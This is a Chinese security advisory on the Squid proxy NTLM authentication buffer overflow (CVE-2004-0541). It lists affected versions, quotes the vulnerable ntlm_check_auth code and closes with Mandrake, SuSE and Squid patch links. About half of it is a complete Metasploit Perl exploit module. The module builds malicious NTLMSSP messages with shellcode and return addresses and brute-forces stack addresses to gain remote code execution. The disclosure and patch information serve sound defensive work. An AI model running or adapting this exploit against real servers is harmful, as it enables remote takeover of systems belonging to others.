安全研究

安全漏洞
Squid Proxy NTLM验证缓冲区溢出漏洞

发布日期:2004-06-10
更新日期:2004-06-15

受影响系统:
Squid Web Proxy Cache 2.5 STABLE5
Squid Web Proxy Cache 2.5 STABLE4
Squid Web Proxy Cache 2.5 STABLE3
Squid Web Proxy Cache 2.4 STABLE7
Squid Web Proxy Cache 2.3 STABLE5
Squid Web Proxy Cache 2.1 PATCH2
Squid Web Proxy Cache 2.0 PATCH2
Squid Web Proxy Cache 2.4
    - Debian Linux 3.0
    - Mandrake Linux Corporate Server 2.1
    - Mandrake Linux 8.1
    - Mandrake Linux 8.0
    - RedHat Linux 8.0
    - RedHat Linux 7.3
描述:
BUGTRAQ  ID: 10500
CVE(CAN) ID: CVE-2004-0541

Squid是一个高效的Web缓存及代理程序,Squid最初是为Unix平台开发的,现在也被移植到Linux和大多数的Unix类系统中,最新的Squid可以运行在Windows平台下。

Squid Web proxy在处理NTLM验证时缺少充分边界缓冲区检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。

Squid Web Proxy缓存支持Basic、Digest及NTLM验证,漏洞存在于NTLM验证的帮助函数中,helpers/ntlm_auth/SMB/libntlmssp.c中的ntlm_check_auth()函数:

char *ntlm_check_auth(ntlm_authenticate * auth, int auth_length){    int rv;    char pass[25] /*, encrypted_pass[40] */;    char *domain = credentials;    ...    memcpy(pass, tmp.str, tmp.l);    ...

函数由于对拷贝到'pass'变量的值缺少充分边界检查,过长的密码字段可造成缓冲区溢出及执行任意指令。memcpy()使用的'tmp.str'和'tmp.l'变量包含用户提供的数据。

<*来源:iDEFENSE
  
  链接:http://www.idefense.com/application/poi/display?id=107&type=vulnerabilities&flashstatus=true
                http://www.linux-mandrake.com/en/security/2004/2004-059.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

匿名用户提供了如下测试方法:

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::squid_ntlm_authenticate;

use strict;
use base "Msf::Exploit";

my $advanced =
{
    'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.'     ],
    'StackTop'    => [ '0xbffffffc', 'Stop address for stack ret.'      ],
    'StackStep'   => [ 0,  'Number of bytes to increment between steps.'],
    'BruteWait'   => [ 15, "Length of time to wait between brutes.  " .
                           "15 is recommend as squid has a failure  " .
                            "count tracker to exit on many segvs"       ],
};

my $info =
{
    'Name'          => 'Squid NTLM Authenticate Overflow',
    'Version'       => '$Revision: 1.7.2.2 $',
    'Authors'       =>
        [
            'skape <mmiller [at] hick.org>'    
        ],
    'Description'   =>
        qq{
            This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
            Due to improper bounds checking in ntlm_check_auth, it is possible to
            overflow the 'pass' variable on the stack with user controlled data of
            a user defined length.  Props to iDEFENSE for the advisory.
        },
    'Arch'          => [ 'x86' ],
    'OS'            => [ 'linux' ],
    'Priv'          => 0,
    'UserOpts'      =>
        {
            'RHOST'   => [ 1, 'ADDR', 'The target proxy server address' ],
            'RPORT'   => [ 1, 'PORT', 'The target proxy server port'    ],
        },
    'Payload'       =>
        {
            'Space'   => 300 - 44, # can be more, but requires code mod
            'MinNops' => 16,
            'PrependEncoder' => "\x83\xec\x7f",           # sub $0x7f, %esp
            'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
                         "\xb0\x30\x41\xcd\x80",
        },
    'Refs'          =>
        [
            'http://www.idefense.com/application/poi/display?id=107',
                        'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541',
        ],
    'DefaultTarget' => -1,
    'Targets'       =>
        [
            [ 'Brute force',                                0x0,        0x0        ],
            [ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
        ],
};

sub new
{
    my $class = shift;
    my $self;
    
    $self = $class->SUPER::new(
            {
                'Info'     => $info,
                'Advanced' => $advanced,
            },
            @_);

    return $self;
}

sub Exploit
{
    my $self = shift;
    my $targetIdx  = $self->GetVar('TARGET');
    my $payload    = $self->GetVar('EncodedPayload');
    my $shellcode  = $payload->Payload;
    my $target     = $self->Targets->[$targetIdx];
    my $ret        = $target->[1];
    my $valid      = $target->[2];
    my $s          = undef;

    $self->PrintLine('[*] Trying exploit target ' . $target->[0]);

    if ($target->[0] eq 'Brute force')
    {
        my $stackTop    = hex($self->GetLocal('StackTop'));
        my $stackBottom = hex($self->GetLocal('StackBottom'));
        my $stackStep   = $self->GetLocal('StackStep');
        my $wait        = $self->GetLocal('BruteWait');

        $stackStep = $payload->NopsLength if ($stackStep == 0);

        for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
             $ret < $stackTop;
             $ret += $stackStep, $valid += $stackStep)
        {
            $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));

            last if (defined($s = $self->transmitExploit(target => $target,
                    shellcode => $shellcode, ret => $ret, valid => $valid)));

            sleep($wait);
        }
    }
    else
    {
        $s = $self->transmitExploit(target => $target,
                shellcode => $shellcode, ret => $ret, valid => $valid);
    }

    $self->Handler($s) if (defined($s));
}

sub transmitExploit
{
    my $self = shift;
    my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
    my $targetHost = $self->GetVar('RHOST');
    my $targetPort = $self->GetVar('RPORT');
    my $bof        = "A" x 0x20 . pack("V", $ret) . pack("V", $valid) . "\xff\x00\x00\x00";
    my $passLen    = pack("v", length($bof) + length($shellcode));

    my $negotiate =
        "NTLMSSP\x00"        . # NTLMSSP identifier
        "\x01\x00\x00\x00"   . # NTLMSSP_NEGOTIATE
        "\x07\x00\xb2\x07"   . # flags
        "\x01\x00\x09\x00"   . # workgroup len/max       (1)
        "\x01\x00\x00\x00"   . # workgroup offset        (1)
        "\x01\x00\x03\x00"   . # workstation len/max     (1)
        "\x01\x00\x00\x00"   ; # workstation offset      (1)
    my $authenticate =
        "NTLMSSP\x00"        . # NTLMSSP identifier
        "\x03\x00\x00\x00"   . # NTLMSSP_AUTHENTICATE
        $passLen . $passLen  . # lanman response len/max
        "\x38\x00\x00\x00"   . # lanman response offset  (56)
        "\x01\x00\x01\x00"   . # nt response len/max     (1)
        "\x01\x00\x00\x00"   . # nt response offset      (1)
        "\x01\x00\x01\x00"   . # domain name len/max     (1)
        "\x01\x00\x00\x00"   . # domain name offset      (1)
        "\x01\x00\x01\x00"   . # user name               (1)
        "\x01\x00\x00\x00"   . # user name offset        (1)
        "\x00\x00\x00\x00"   . # session key
        "\x8b\x00\x00\x00"   . # session key
        "\x06\x82\x00\x02"   . # flags
        $bof . $shellcode;

    my $s = Msf::Socket->new;
    
    # Connect to the squid server
    if (!$s->Tcp($targetHost, $targetPort) || $s->IsError)
    {
        $s->PrintError;
        return undef;
    }

    $self->PrintLine('[*] Sending NTLMSSP_NEGOTIATE (' . length($negotiate) . ' bytes)');

    # Transmit NTLMSSP negotiate
    if (not defined($self->transmitHttpRequest(
            s      => $s,
            buffer => $negotiate)))
    {
        $self->PrintLine('[-] Server did not send a response -- exploit failed.');
        return undef;
    }
    
    $self->PrintLine('[*] Sending NTLMSSP_AUTHENTICATE (' . length($authenticate) . ' bytes)');

    # Transmit NTLMSSP authenticate
    if (defined($self->transmitHttpRequest(
            s      => $s,
            buffer => $authenticate)))
    {
        return undef;
    }

    return $s;
}

sub transmitHttpRequest
{
    my $self = shift;
    my ($s, $buffer) = @{{@_}}{qw/s buffer/};
    my $encoded = encode_base64_perl($buffer);
    my $response;

    $encoded =~ s/\n//gm;

    $s->SetRecvTimeout(2);
    $s->Send("GET http://www.metasplizoit.com HTTP/1.0\r\n");
    $s->Send("Proxy-Connection: Keep-Alive\r\n");
    $s->Send("Proxy-Authorization: NTLM $encoded\r\n");
    $s->Send("\r\n");

    # Read a response, wait 5 seconds...
    while (defined($response = $s->Recv(-1, 5)))
    {
        last if ($response =~ "\r\n\r\n" or length($response) == 0);
    }

    $response = '' if ($s->GetError());

    return $response;
}

# ripped from RFP's libwhisker (temporary)
# ripped from MIME::Base64
sub encode_base64_perl
{
    my $res = "";
    my $eol = $_[1];
    $eol = "\n" unless defined $eol;
    pos($_[0]) = 0;
    while ($_[0] =~ /(.{1,45})/gs) {
        $res .= substr(pack('u', $1), 1);
        chop($res);}
    $res =~ tr|` -_|AA-Za-z0-9+/|;
    my $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
    if (length $eol) {
        $res =~ s/(.{1,76})/$1$eol/g;
    } $res;
}

建议:
厂商补丁:

MandrakeSoft
------------
MandrakeSoft已经为此发布了一个安全公告(MDKSA-2004:059)以及相应补丁:
MDKSA-2004:059:Updated squid packages fix remotely exploitable vulnerability
链接:http://www.linux-mandrake.com/en/security/2004/2004-059.php

补丁下载:

Updated Packages:

Mandrakelinux 10.0:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/RPMS/squid-2.5.STABLE4-1.2.100mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/SRPMS/squid-2.5.STABLE4-1.2.100mdk.src.rpm

Mandrakelinux 10.0/AMD64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/RPMS/squid-2.5.STABLE4-1.2.100mdk.amd64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/SRPMS/squid-2.5.STABLE4-1.2.100mdk.src.rpm

Mandrakelinux 9.1:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/RPMS/squid-2.5.STABLE1-7.2.91mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/SRPMS/squid-2.5.STABLE1-7.2.91mdk.src.rpm

Mandrakelinux 9.1/PPC:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/ppc/9.1/RPMS/squid-2.5.STABLE1-7.2.91mdk.ppc.rpm

上述升级软件还可以在下列地址中的任意一个镜像ftp服务器上下载:
http://www.mandrakesecure.net/en/ftp.php

S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2004:016)以及相应补丁:
SuSE-SA:2004:016:squid
链接:

补丁下载:

SuSE Patch squid-2.4.STABLE6-9.i386.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/squid-2.4.STABLE6-9.i386.patch.rpm
Intel i386 Platform

SuSE Upgrade squid-2.5.STABLE5-42.9.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/squid-2.5.STABLE5-42.9.i586.rpm
Intel i386 Platform

SuSE Patch squid-2.5.STABLE5-42.9.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/squid-2.5.STABLE5-42.9.i586.patch.rpm
Intel i386 Platform

SuSE Upgrade squid-2.5.STABLE5-42.9.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/squid-2.5.STABLE5-42.9.x86_64.rpm
Opteron x86_64 Platform

SuSE Patch squid-2.5.STABLE5-42.9.x86_64.patch.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/squid-2.5.STABLE5-42.9.x86_64.patch.rpm
Opteron x86_64 Platform

SuSE Upgrade squid-2.5.STABLE3-110.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/squid-2.5.STABLE3-110.i586.rpm
Intel i386 Platform

SuSE Patch squid-2.5.STABLE3-110.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/squid-2.5.STABLE3-110.i586.patch.rpm
Intel i386 Platform

SuSE Upgrade squid-2.5.STABLE3-110.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/squid-2.5.STABLE3-110.x86_64.rpm
Opteron x86_64 Platform

SuSE Patch squid-2.5.STABLE3-110.x86_64.patch.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/squid-2.5.STABLE3-110.x86_64.patch.rpm
Opteron x86_64 Platform

Squid Web Proxy Cache 2.5 STABLE1:

Squid Patch libntlmssp.c.patch
http://www.squid-cache.org/~wessels/patch/libntlmssp.c.patch

SuSE Upgrade squid-2.5.STABLE1-98.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/squid-2.5.STABLE1-98.i586.rpm
Intel i386 Platform

SuSE Patch squid-2.5.STABLE1-98.i586.patch.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/squid-2.5.STABLE1-98.i586.patch.rpm
Intel i386 Platform

Squid
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Squid Patch libntlmssp.c.patch
http://www.squid-cache.org/~wessels/patch/libntlmssp.c.patch

浏览次数:4300
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障